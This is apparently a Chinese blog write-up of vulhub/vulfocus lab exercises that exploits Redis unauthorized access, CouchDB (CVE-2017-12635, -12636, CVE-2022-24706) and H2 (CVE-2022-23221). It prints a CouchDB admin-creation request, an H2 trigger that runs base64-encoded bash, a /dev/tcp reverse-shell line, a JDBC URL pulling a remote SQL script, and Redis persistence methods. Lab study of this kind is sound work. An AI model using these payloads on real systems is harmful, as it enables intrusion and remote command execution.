Skip to main content

CVE-vulfocus-vulhub-redis-couchdb-H2DB

·200 words·1 min
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you

CVE-vulfocus-vulhub-redis-couchdb-H2DB
#

redis- 高性能内存数据库
#

关于redis 我们直接在vulfocus上面拉镜像并使用脚本文件redis-rogue-server-master即可通杀

  • 高速缓存 作为数据库前端缓存,减少数据库访问压力。 案例:电商首页热门商品缓存、新闻网站热门文章缓存。
  • 实时数据处理 支持高并发读写(单节点 QPS 可达 10 万 +),适合实时统计场景。 案例:直播间在线人数统计、秒杀活动库存扣减。

nmap

一般来说redis的CVE就是配置不当 bind 127.0.0.1 是默认开启的 然后requirepass默认为空意思就是本地随便进去

但是你如果不想本地但是又忘记修改密码就会造成问题

CNCD-2015-07557打开靶场设置脚本的目的为靶机IP 端口他把默认端口6379映射为36700 直接运行选择r反弹shell

nmap

我们对端监听就可以发现直接反弹成功拿下了服务器
用户是redis表示他使用redis来当用户

nmap

这里redis的CVE CNVD都能用这个脚本来运行测试 原理就是未授权加上模块的恶意执行

一般个人测是三方面

  1. 写入web后门 要求-对方有web服务器
  2. ssh密钥登录 要求-root权限 密钥登录允许
  3. 写入计时任务 要求-root权限 系统限制 如centos可以 ubantu可能有字符错误

CouchDB-cve_2017_12636-面向文档、强调分布式一致性
#

CouchDB 内置多主复制和冲突检测机制,适合移动应用、协作工具(如笔记应用)等需要离线工作的场景。 案例:医疗记录系统(医生在无网络环境下访问 / 修改数据,恢复网络后自动同步)。

  • 文档型数据管理 适合存储结构化程度较低的数据(如博客文章、产品目录),无需预定义表结构。 案例:内容管理系统(CMS)存储文章、评论等。

  • 高可用分布式系统 通过多节点复制实现自动故障转移,适合地理分布的应用。 案例:跨国公司的分布式办公系统。

  • 历史数据追踪 支持文档版本控制(MVCC),适合需要审计日志的场景。 案例:金融交易记录系统。

修改反弹ip端口

nmap

使用PY脚本运行这里

nmap

CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。

CouchDB-CVE-2022-24706
#

在vulhub使用docker-compose up -d 启动端口 它默认启动了4369和 本身端口 5984

  • 5984: Apache CouchDB Web管理接口
  • 4369: Erlang端口映射服务(epmd)
  • 9100: 集群节点通信和运行时自省服务(代码执行实际发生在这个端口中)

这里利用的就是这个分布式端口4369

这个POC会先通过目标的4369端口epmd服务获取集群通信的端口,也就是9100,然后再使用默认Cookie来控制节点执行任意命令。

nmap

couchdb-cve_2017_12635
#

上面那个CVE就是基于这个漏洞进行任意注册直接查看数据库信息

访问Get:/_utils/ 需要登录用漏洞cve_2017_12635

POC 添加用户user 是admin组的

PUT /_users/org.couchdb.user:用户 HTTP/1.1
Host: XX:XX
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "用户",
  "roles": ["_admin"],
  "roles": [],
  "password": "密码"
}

再访问可以查看数据库了

H2database -CVE-2022-23221
#

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

nmap

输入后直接进入读取文件了

nmap

拿到SHELL步骤

nmap

进入后在你公网主机创建数据库文件并且监听打开python服务

CREATE TABLE test (

   id INT NOT NULL

 );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,反弹的base64输入}|{base64,-d}|{bash,-i}");';



bash -i >& /dev/tcp/x.x.x.x/5566 0>&1 

创建sql文件能访问后退出首页再次输入

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://116.62.32.64:8000/123.sql';\

NC监听对应sql文件的端口得到SHELL

nmap

总结
#

他们数据库和mysql关系性的区别

  • MySQL 是 “系统的核心账本”,适合存储结构化、需要强事务保证的核心业务数据(如订单、支付记录);
  • CouchDB 是 “灵活的文档仓库”,适合存储结构多变、需要分布式同步的文档数据(如博客文章、离线应用数据);
  • Redis 是 “高速数据中转站”,核心价值之一是作为缓存,通过内存存储高频数据,解决数据库性能瓶颈。
  • 三者并非替代关系,实际业务中常结合使用(例如:MySQL 存订单,Redis 缓存订单列表,CouchDB 存用户生成的动态内容)。

redis缓存:

而 Redis 基于内存存储,读写速度极快,且支持复杂数据结构,非常适合作为 “中间层缓存”,让高频数据直接从 Redis 读取,而非每次都访问数据库。

Related

sudo靶机---难度low知识点-爆破-sudoers
·30 words·1 min
websocket-messages-to-exploit-vulnerabilities
·192 words·1 min
language靶机---难度easy知识点-docker逃逸-爆破
·144 words·1 min
hoshi靶机---难度medium知识点-文件包含+表达式注入+盲水印
·134 words·1 min
gigachad靶机---难度easy知识点-nail
·18 words·1 min